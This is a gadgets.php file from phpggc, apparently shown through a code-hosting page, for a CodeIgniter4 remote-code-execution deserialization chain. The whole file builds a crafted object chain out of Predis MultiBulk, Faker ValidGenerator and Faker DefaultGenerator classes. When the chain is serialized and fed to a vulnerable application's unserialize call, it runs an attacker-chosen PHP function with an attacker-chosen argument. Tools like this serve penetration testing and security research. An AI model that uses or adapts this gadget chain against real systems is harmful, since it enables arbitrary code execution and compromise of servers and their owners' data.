Codebase list phpggc / e3d3474f-38c8-4c41-9e29-91cf7a58b626/upstream/0.20221219 gadgetchains / CodeIgniter4 / RCE / 6 / gadgets.php
e3d3474f-38c8-4c41-9e29-91cf7a58b626/upstream/0.20221219

Tree @e3d3474f-38c8-4c41-9e29-91cf7a58b626/upstream/0.20221219 (Download .tar.gz)

gadgets.php @e3d3474f-38c8-4c41-9e29-91cf7a58b626/upstream/0.20221219raw · history · blame

<?php
namespace Predis\Response\Iterator{
    class MultiBulk{
        protected $position;
        protected $size;
        private $connection;

        function __construct($function,$paramter)
        {
            $this->connection = new \Faker\ValidGenerator($function,$paramter);
            $this->position = 0;
            $this->size = 1;
        }
    }
}

namespace Faker{
    class ValidGenerator{
        protected $generator;
        protected $maxRetries;
        protected $validator;

        function __construct($function,$param)
        {
            $this->maxRetries = 1;
            $this->validator = $function;
            $this->generator = new \Faker\DefaultGenerator($param);
        }
    }

    class DefaultGenerator{
        protected $default;

        function __construct($param)
        {
            $this->default = $param;
        }
    }
}